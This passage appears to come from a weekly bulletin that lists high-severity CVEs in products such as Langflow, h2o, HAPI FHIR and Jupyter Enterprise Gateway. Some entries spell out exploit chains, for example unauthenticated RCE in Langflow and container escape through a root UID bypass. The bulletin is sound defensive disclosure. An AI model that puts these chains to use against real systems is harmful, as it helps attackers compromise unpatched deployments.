| grafana-cold-storage--oncall | Grafana OnCall through 1.16.11 contains an unauthenticated access vulnerability that allows remote attackers to obtain a valid PluginAuthToken by sending a POST request to the internal plugin install endpoint using hardcoded default stack_id and org_id values present in the public source tree. Attackers can leverage the acquired token to authenticate against all internal API endpoints, create arbitrary Admin users via the user-context header bootstrap path, revoke the legitimate plugin token, and redirect OnCall-to-Grafana API calls to an attacker-controlled host by overwriting the organization's grafana_url and api_token. | 2026-07-16 | 9.8        | <a href="#">CVE-2026-63087</a> |
| Gravity Forms--Gravity Forms | The Gravity Forms plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.10.4 via the 'gform_uploaded_files' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires the targeted form to not enforce login (so publicly accessible), which allows the unauthenticated attacker to reach the process_send_resume_link endpoint and supply an arbitrary recipient email address to receive the traversal-retrieved file as a notification attachment.                | 2026-07-15 | 7.5        | <a href="#">CVE-2026-12997</a> |
| grpc--grpc-node              | @grpc/grpc-js implements the core functionality of gRPC purely in JavaScript, without a C++ addon. Prior to 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4, an invalid incoming HTTP/2 stream initiation can cause a server process created using @grpc/grpc-js to crash. This issue is fixed in versions 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4.                                                                                                                                                                                                                                                                                    | 2026-07-14 | 7.5        | <a href="#">CVE-2026-48068</a> |
| grpc--grpc-node              | @grpc/grpc-js implements the core functionality of gRPC purely in JavaScript, without a C++ addon. Prior to 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4, an invalid incoming compressed message can cause a client or server process that uses @grpc/grpc-js to crash. This issue is fixed in versions 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4.                                                                                                                                                                                                                                                                                    | 2026-07-14 | 7.5        | <a href="#">CVE-2026-48069</a> |
| h2o--h2o                     | h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit 6b5370d, h2o is vulnerable to a Denial of Service attack when calling alloca under certain conditions. When serving static files, h2o builds the file path on stack, by calling alloca. The maximum size of the memory allocated using alloca can be as huge as ~600KB, which exceeds the default pthread stack size used by musl libc (128KB). If the amount of memory allocated by alloca exceeds the stack size, the h2o server crashes with a segmentation fault, while it tries to touch the guard page. This issue has been fixed by commit 6b5370d.         | 2026-07-16 | 7.5        | <a href="#">CVE-2026-44453</a> |
| h2o--h2o                     | h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit 9265bdd, there is an HTTP/2 state amplification issue that combines HPACK decompression amplification with Slowloris-style stream stalling. Amplified decoded header state can be retained by stalled HTTP/2 streams, and depending on the configuration, additional limits are needed to bound decoded header state and prevent attack. This issue has been fixed by commit 9265bdd.                                                                                                                                                                              | 2026-07-16 | 7.5        | <a href="#">CVE-2026-54340</a> |
| h2o--quicly                  | Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit 937d0e9, an assertion failure is raised when the total number of valid handshake messages received over a CRYPTO stream of a single packet number space exceeds 32KB, causing a Denial of Service. This issue has been fixed by commit 937d0e9.                                                                                                                                                                                                                                                                                  | 2026-07-16 | 7.5        | <a href="#">CVE-2026-44435</a> |
| h2o--quicly                  | Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit 8b178e6, Quicly is vulnerable to a Denial of Service attack through connection state corruption. In QUIC Invariants, the maximum length of a Connection ID is 255 bytes, while QUIC version 1 further                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 7.5        | <a href="#">CVE-2026-44436</a> |

# High Vulnerabilities

| Primary Vendor -- Product     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                               | restricts the maximum to 20 bytes. Quickly implements QUIC version 1 and therefore its CID buffers are limited to 20 bytes. However, to be able to respond to unknown versions of QUIC, its packet decoder accepts Connection IDs of up to 255 bytes. As its CID buffers are merely 20 bytes long, Quickly must reject QUIC version 1 packets with Connection IDs longer than that. The command line tool bundled with Quickly has had that check, however the library itself lacked such enforcement. As a consequence, when used by applications that lack their own enforcement, the connection state becoming inconsistent to buffer overrun. Fortunately, the overflow stops within the allocated chunk of memory, but nevertheless, the bug leads to assertion failures. This issue has been fixed by commit 8b178e6. |            |            |                                |
| H3C--SecPath F1000-C8300      | A flaw has been found in H3C SecPath F1000-C8300 up to 20260522. This impacts an unknown function of the file /webui/?g=log_fw_nbc_mail_jsondata. Executing a manipulation of the argument subject can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure and confirmed the existence of the vulnerability. A technical fix is planned to be released.                                                                                                                                                                                                                                                                                                                                                        | 2026-07-15 | 7.3        | <a href="#">CVE-2026-15907</a> |
| hamsalam--hamsalam            | Cross-Site Request Forgery (CSRF) vulnerability in hamsalam Û`Û`ø³Û,,ø§Û...&#8211; Û±Û...Û`ø§Û... ø³ø§ø²Ûœ Û`Û`Û©ø§Û...ø±ø³ Û` ø`ø§ø³Û,,ø§Û... sync-basalam allows Cross Site Request Forgery.This issue affects Û`Û`ø³Û,,ø§Û...&#8211; Û±Û...Û`ø§Û... ø³ø§ø²Ûœ Û`Û`Û©ø§Û...ø±ø³ Û` ø`ø§ø³Û,,ø§Û...: from n/a through <= 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.1        | <a href="#">CVE-2026-61956</a> |
| Hannan--Hannan                | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Hannan Û`ø±Û`Ûœø³Ûœ Ûœø±Û... Ûœø§ø±ø³Ûœ persian-gravity-forms allows Blind SQL Injection.This issue affects Û`ø±Û`Ûœø³Ûœ Ûœø±Û... Ûœø§ø±ø³Ûœ: from n/a through <= 3.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 7.6        | <a href="#">CVE-2026-61955</a> |
| hapifhir--org.hl7.fhir.core   | HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to 6.9.7, the FHIRPathEngine implementation passes user-controlled regular expressions from matches(), matchesFull(), and replaceMatches() to Java regex operations without effective timeouts, allowing catastrophic backtracking and denial of service. This issue is fixed in version 6.9.7.                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-16 | 7.5        | <a href="#">CVE-2026-45367</a> |
| hapifhir--org.hl7.fhir.core   | HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to 6.9.9 and 6.9.4.2, all implementations of FHIRPathEngine accept arbitrary FHIRPath expressions and evaluate them without input validation, and the FHIRPath functions matches(), matchesFull(), and replaceMatches() pass user-controlled regular expressions to Java's Pattern.compile() and String.replaceAll() through an incomplete timeout utility. An attacker can send a resource containing an evil regex pattern that causes catastrophic backtracking, exhausting CPU resources and causing denial of service in the FHIR Validator HTTP endpoint and affected org.hl7.fhir.* modules. This issue is fixed in versions 6.9.9 and 6.9.4.2.                                                       | 2026-07-17 | 7.5        | <a href="#">CVE-2026-49485</a> |
| HCL Software--Aftermarket EPC | HCL Aftermarket EPC is affected by Business Logic Vulnerability using which a non valid user of the application can obtain passwords from the server and redirect them to their own email address by manipulating the server's response. The application includes checks in the initial requests to verify the validity of the provided UserId, but similar validation is not applied to Email requests when sending passwords to user emails.                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 9.1        | <a href="#">CVE-2024-23564</a> |
| HCL Software--DFXServer       | HCL DFXServer is affected by a Broken Authentication vulnerability via direct API access. The application fails to verify the user's authentication status when accessing specific API endpoints, allowing an unauthenticated attacker to interact with the APIs and perform unauthorized actions without valid credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-16 | 8.2        | <a href="#">CVE-2026-35147</a> |
| HCL Software--DFXServer       | HCL DFXServer is affected by an Authentication Bypass vulnerability via server response manipulation. An unauthorized user without valid credentials can exploit this flaw by intercepting and altering the server's authentication responses, allowing them to gain unauthorized access to the application without verification.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-16 | 8.2        | <a href="#">CVE-2026-35149</a> |
| HKUDS--LightRAG               | LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LighRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.                                                                                                                                                                                                                                   | 2026-07-15 | 9.3        | <a href="#">CVE-2026-61736</a> |
| Huawei--Harmony OS            | Permission control vulnerability in the file system. Impact: Successful exploitation of this vulnerability may affect service confidentiality.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-15 | 7.8        | <a href="#">CVE-2026-58558</a> |

# High Vulnerabilities

| Primary Vendor -- Product              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| huggingface--diffusers                 | Diffusers is the a library for pretrained diffusion models. Prior to 0.38.0, Diffusers' DiffusionPipeline.from_pretrained flow can bypass the trust_remote_code guard because download() validates model_index.json and custom pipeline code before later loading from a cached folder that can change, allowing a Hub repository with custom .py pipeline code to execute through the custom pipeline flow without passing custom_pipeline or trust_remote_code=True. This issue is fixed in version 0.38.0.                                                                                                                                                                                                                              | 2026-07-15 | 7.5        | <a href="#">CVE-2026-45804</a> |
| huggingface--text-generation-inference | text-generation-inference through 3.3.7 contains a server-side request forgery (SSRF) vulnerability in the OpenAI-compatible multimodal chat completions endpoint that allows unauthenticated network attackers to coerce the server into issuing arbitrary HTTP GET requests by supplying a crafted image_url value in chat message content. The fetch_image function in router/src/validation.rs performs no validation of private, loopback, link-local, or cloud metadata target addresses, and the reqwest HTTP client follows redirects by default, enabling attackers to bypass scheme checks via redirect chains to reach internal services and cloud instance-metadata endpoints for internal port scanning and credential theft. | 2026-07-16 | 8.6        | <a href="#">CVE-2026-63086</a> |
| hupe13--Extensions for Leaflet Map     | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hupe13 Extensions for Leaflet Map extensions-leaflet-map allows DOM-Based XSS.This issue affects Extensions for Leaflet Map: from n/a through <= 5.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57380</a> |
| IBM--Db2                               | IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to remote code execution when jdbc url is under user control.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 7.8        | <a href="#">CVE-2026-9762</a>  |
| IBM--Engineering AI Hub                | IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to execute arbitrary scripts due to improper neutralization of input during web page generation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 9.3        | <a href="#">CVE-2026-15091</a> |
| IBM--Engineering AI Hub                | IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to obtain sensitive information due to the exposure of session tokens in URLs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 7.5        | <a href="#">CVE-2026-15322</a> |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.1 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-17 | 9.8        | <a href="#">CVE-2026-13446</a> |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the disk-based caching mechanism. The AsyncDiskCache class uses Python's unsafe pickle.loads() function to deserialize cached objects from disk without validation, integrity verification, or authentication, enabling arbitrary code execution when malicious pickle payloads are processed. Attackers who can influence cached data through file system access, malicious workflow inputs, custom components, or API manipulation can achieve complete system compromise with the privileges of the Langflow server process.                                                                                                            | 2026-07-17 | 9.9        | <a href="#">CVE-2026-8476</a>  |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the code validation API endpoint. The POST /api/v1/validate/code endpoint accepts user-supplied Python code and executes it directly using Python's built-in exec() function without sandboxing, input validation, or privilege restrictions, enabling any authenticated user to execute arbitrary system commands with the full privileges of the Langflow server process.                                                                                                                                                                                                                                                                | 2026-07-17 | 9.9        | <a href="#">CVE-2026-8481</a>  |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.0 has a vulnerability in Langflow's webhook authentication logic allows unauthenticated users to trigger the execution of any flow. The system incorrectly bypasses API key validation when the WEBHOOK_AUTH_ENABLE configuration is set to False (which is the default setting). This allows a remote attacker who knows a flow's UUID to execute it as if they were the owner, potentially leading to Remote Code Execution (RCE).                                                                                                                                                                                                                                                                   | 2026-07-17 | 9.8        | <a href="#">CVE-2026-8505</a>  |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated users to escalate privileges to superuser by directly manipulating the database, execute arbitrary system commands, and achieve full system compromise with Langflow service permissions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 9.9        | <a href="#">CVE-2026-8635</a>  |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.0 Langflow could allow an attacker to write arbitrary files to unintended locations due to improper input validation in the APIRequest component. A path traversal vulnerability exists when the "Save to File" feature is enabled, where filenames extracted from HTTP response Content-Disposition headers are not sanitized before being joined to the temporary directory path. An attacker controlling an external HTTP server can supply crafted filename values containing path traversal sequences (e.g., ../), enabling arbitrary file writes to locations accessible by the Langflow process.                                                                                                | 2026-07-17 | 9.9        | <a href="#">CVE-2026-8859</a>  |
| IBM--Langflow OSS                      | IBM Langflow OSS 1.0.0 through 1.10.0 could allow a remote attacker to gain unauthorized access due to improper authentication in the /api/v1/login/auto_login endpoint. The endpoint issues long-lived superuser                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 9.8        | <a href="#">CVE-2026-9103</a>  |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | bearer tokens without requiring authentication when the AUTO_LOGIN configuration is enabled (enabled by default), which may allow an unauthenticated network attacker to obtain full administrative access. Additionally, permissive cross-origin resource sharing (CORS) settings may allow tokens to be exposed to unintended origins, increasing the risk of unauthorized access.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 Langflow versions up to 1.9.2 (commit 94981c443d4918517b9e8163d70fc598dc33a32d) contain a code injection vulnerability in the Policies component's ToolGuard integration that bypasses the allow_custom_components=false security control. The vulnerability exists because the validation mechanism only checks the main component source code in node_template["code"]["value"] but fails to validate dynamic CodeInput fields that store generated ToolGuard Python files. Attackers can embed malicious Python code in these unvalidated dynamic fields, which are persisted in Flow.data and later executed server-side when a guarded tool is invoked through the ToolGuard runtime. This allows authenticated users with flow creation privileges to achieve arbitrary Python code execution on the backend despite custom component restrictions. The vulnerability can be escalated through cross-tenant flow manipulation via the agentic MCP update_flow_component_field tool, which accepts attacker-controlled user_id parameters, enabling attackers to inject malicious code into victim users' flows. When combined with publicly accessible flows and specific misconfigurations (AUTO_LOGIN=true, NEW_USER_IS_ACTIVE=true), the attack can be conducted with reduced authentication requirements. | 2026-07-17 | 9.9        | <a href="#">CVE-2026-9135</a>  |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 9.8        | <a href="#">CVE-2026-9198</a>  |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to create unlimited user accounts on any Langflow instance; when NEW_USER_IS_ACTIVE=true (documented deployment option), newly created accounts are immediately active and can authenticate to reach RCE endpoints, bypassing the need for AUTO_LOGIN.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 9.8        | <a href="#">CVE-2026-9202</a>  |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.1 can allow an authenticated attacker to exploit the SaveToFile component to read and modify another user's uploaded files by specifying absolute paths pointing to victim storage locations. In append mode, the attacker's workflow reads victim file contents, appends attacker-controlled data, and uploads a copy containing victim data to the attacker's namespace (confidentiality breach). In overwrite mode, the attacker can replace victim file contents with arbitrary data (integrity breach). This breaks the storage ownership boundary between users.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 8.1        | <a href="#">CVE-2026-13445</a> |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.1 Lanflow OSS contains an unauthenticated remote code execution vulnerability in the public flow build endpoint ( /api/v1/build_public_tmp/{flow_id}/flow ). The vulnerability stems from an incomplete denylist in the validate_public_flow_no_code_execution() function that fails to block several code-execution agent components including OpenDsStarAgent, CodeActAgentSmolagents, and CSVAgent.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 8.1        | <a href="#">CVE-2026-13448</a> |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.1 Langflow could allow an authenticated user to execute arbitrary commands with elevated privileges on the system due to improper validation of user supplied input in the Python Interpreter component.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 8.8        | <a href="#">CVE-2026-14499</a> |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 allows an authenticated attacker to create a malicious flow pointing to an attacker-controlled URL that returns a specially crafted Content-Disposition header (e.g., filename=" ../../target/path" ), enabling arbitrary file write operations with attacker-controlled content to any path accessible by the Langflow process.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 8.8        | <a href="#">CVE-2026-7667</a>  |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 Langflow could allow remote code execution due to incomplete validation enforcement on MCP server configuration files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 8.8        | <a href="#">CVE-2026-7755</a>  |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated users to override component parameters at runtime via the API. A critical security flaw exists in the parameter filtering mechanism within the `apply_tweaks()` function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 8.8        | <a href="#">CVE-2026-8056</a>  |
| IBM--Langflow OSS         | IBM Langflow OSS 1.0.0 through 1.10.0 Langflow 1.9.0 could allow server-side request forgery (SSRF) due to insecure default configuration and incomplete enforcement of the SSRF protection mechanism.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 7.7        | <a href="#">CVE-2026-7754</a>  |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| IBM--Langflow OSS                  | IBM Langflow OSS 1.0.0 through 1.10.0 allows an authenticated attacker to read arbitrary files including the JWT signing key and forge authentication tokens for any user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-17 | 7.5        | <a href="#">CVE-2026-7872</a>  |
| IBM--PowerVM Novalink              | IBM PowerVM Novalink are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 7.5        | <a href="#">CVE-2026-9171</a>  |
| IBM--Storage Protect Client        | IBM Storage Protect Client 8.1.0.0 through 8.1.27.0, 8.1.27.1, and 8.2.0.0 through 8.2.1.0 IBM Storage Protect is vulnerable to a heap-based buffer overflow, caused by improper bounds checking. A remote attacker could overflow a buffer and execute arbitrary code on the system or cause the server to crash.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 8.1        | <a href="#">CVE-2026-13473</a> |
| IKAS Technology Inc.--E-Commerce   | Insertion of sensitive information into sent data vulnerability in IKAS Technology Inc. E-Commerce allows Retrieve Embedded Sensitive Data. This issue affects E-Commerce: through 03062026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 7.5        | <a href="#">CVE-2026-7488</a>  |
| immich-app--immich                 | immich before 3.0.3 contains a broken access control vulnerability in the PUT /albums/:id/user/:userId endpoint that allows shared album editors to modify member roles without owner-only restrictions. Attackers with editor access can demote the album owner to editor and promote themselves to owner in sequential requests, gaining full control including deletion and eviction capabilities.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-15 | 8.3        | <a href="#">CVE-2026-59258</a> |
| ivanti--Xtraction                  | Path traversal in Ivanti Xtraction before version 2026.2.1 allows a remote authenticated attacker to read arbitrary files outside the web root.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 7.7        | <a href="#">CVE-2026-14903</a> |
| JetBrains--YouTrack                | In JetBrains YouTrack before 2026.1.13757, 2025.3.148033, 2025.2.148048, 2025.1.148120, 2024.3.148430, 2024.2.148429 authentication bypass via direct database access leading to administrative access was possible                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 10         | <a href="#">CVE-2026-62422</a> |
| Jinher--OA                         | A flaw has been found in Jinher OA 1.0. The affected element is an unknown function of the file /C6/JHSoft.Web.PlanSummarize/PlanGiveOut.aspx. This manipulation of the argument httpOID causes sql injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.3        | <a href="#">CVE-2026-15517</a> |
| jline--jline3                      | JLine is a Java library for handling console input. Prior to 3.30.14, 4.0.16, and 4.2.1, the JLine3 Telnet server remote-telnet module does not limit the number of environment variables a client may inject via the Telnet NEW-ENVIRON option, and TelnetIO.readNEVariables() in TelnetIO.java:1127-1180 stores each variable pair in a HashMap held by ConnectionData, allowing an unauthenticated attacker to flood unique variable pairs before the terminating IAC SE byte and exhaust JVM heap memory with an OutOfMemoryError. This issue is fixed in versions 3.30.14, 4.0.16, and 4.2.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 7.5        | <a href="#">CVE-2026-56740</a> |
| jline--jline3                      | JLine is a Java library for handling console input. Prior to 3.30.14, 4.0.16, and 4.2.1, the JLine3 Telnet server remote-telnet module does not apply an upper bound to terminal dimensions received via the Telnet NAWWS option, and TelnetIO.handleNAWS() in TelnetIO.java:856-879 reads client-supplied width and height as 16-bit unsigned integers and passes values such as 65535x65535 to setTerminalGeometry(), allowing an unauthenticated remote attacker to repeatedly alternate values and trigger continuous expensive rendering work that causes CPU exhaustion and denial of service. This issue is fixed in versions 3.30.14, 4.0.16, and 4.2.1.                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 7.5        | <a href="#">CVE-2026-56741</a> |
| jsonata-js--jsonata                | JSONata is a JSON query and transformation language. Prior to 2.2.0, malicious non-matching inputs to the \$toMillis function can cause superlinear backtracking in the ISO-8601 validation regex, leading to denial of service in applications that evaluate user-provided JSONata expressions. This issue is fixed in version 2.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 7.5        | <a href="#">CVE-2026-52746</a> |
| jupyter-server--enterprise_gateway | Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0. | 2026-07-16 | 9.8        | <a href="#">CVE-2026-44180</a> |

# High Vulnerabilities

| Primary Vendor -- Product                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| jwsthem--Aqua                                  | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jwsthem Aqua aqua allows PHP Local File Inclusion.This issue affects Aqua: from n/a through <= 5.1.2.                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57789</a> |
| jwt--ruby-jwt                                  | ruby-jwt is a Ruby implementation of the RFC 7519 OAuth JSON Web Token standard. Prior to 2.10.3 and 3.2.0, JWT.decode(token, "", true, algorithm: 'HS256') accepts an attacker-forged token because OpenSSL::HMAC.digest('SHA256', "", payload) returns a valid digest under an empty key and no empty-key precondition exists in the HMAC algorithm. The same path is reached when a keyfinder block or key_finder: argument returns an empty string, nil, or an array containing nil for an unknown key, affecting HS256, HS384, and HS512 verification through JWT.decode and JWT::EncodedToken#verify_signature!. This issue is fixed in versions 2.10.3 and 3.2.0. | 2026-07-14 | 9.1        | <a href="#">CVE-2026-45363</a> |
| kanboard--kanboard                             | Kanboard through 1.2.52, fixed in commit 564cc30, BoardAjaxController save() method (used by the kanban board drag-and-drop endpoint) validates the caller's role on the attacker-supplied project_id but never verifies that the supplied task_id actually belongs to that project. Because task identifiers are sequential integers shared across the entire instance, any authenticated user who is a member of at least one project can enumerate and move (corrupt/hide) tasks belonging to any other project on the same instance, including private projects they have no membership or role on.                                                                  | 2026-07-15 | 8.1        | <a href="#">CVE-2026-58660</a> |
| Kerlink--Kerlink Wirnet iStation               | Directory traversal vulnerability in Kerlink Kerlink Wirnet iStation 868 KerOS v.4.3.3_20200803132042 allows a remote attacker to obtain sensitive information via the SNMP update mechanism.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 7.3        | <a href="#">CVE-2024-32386</a> |
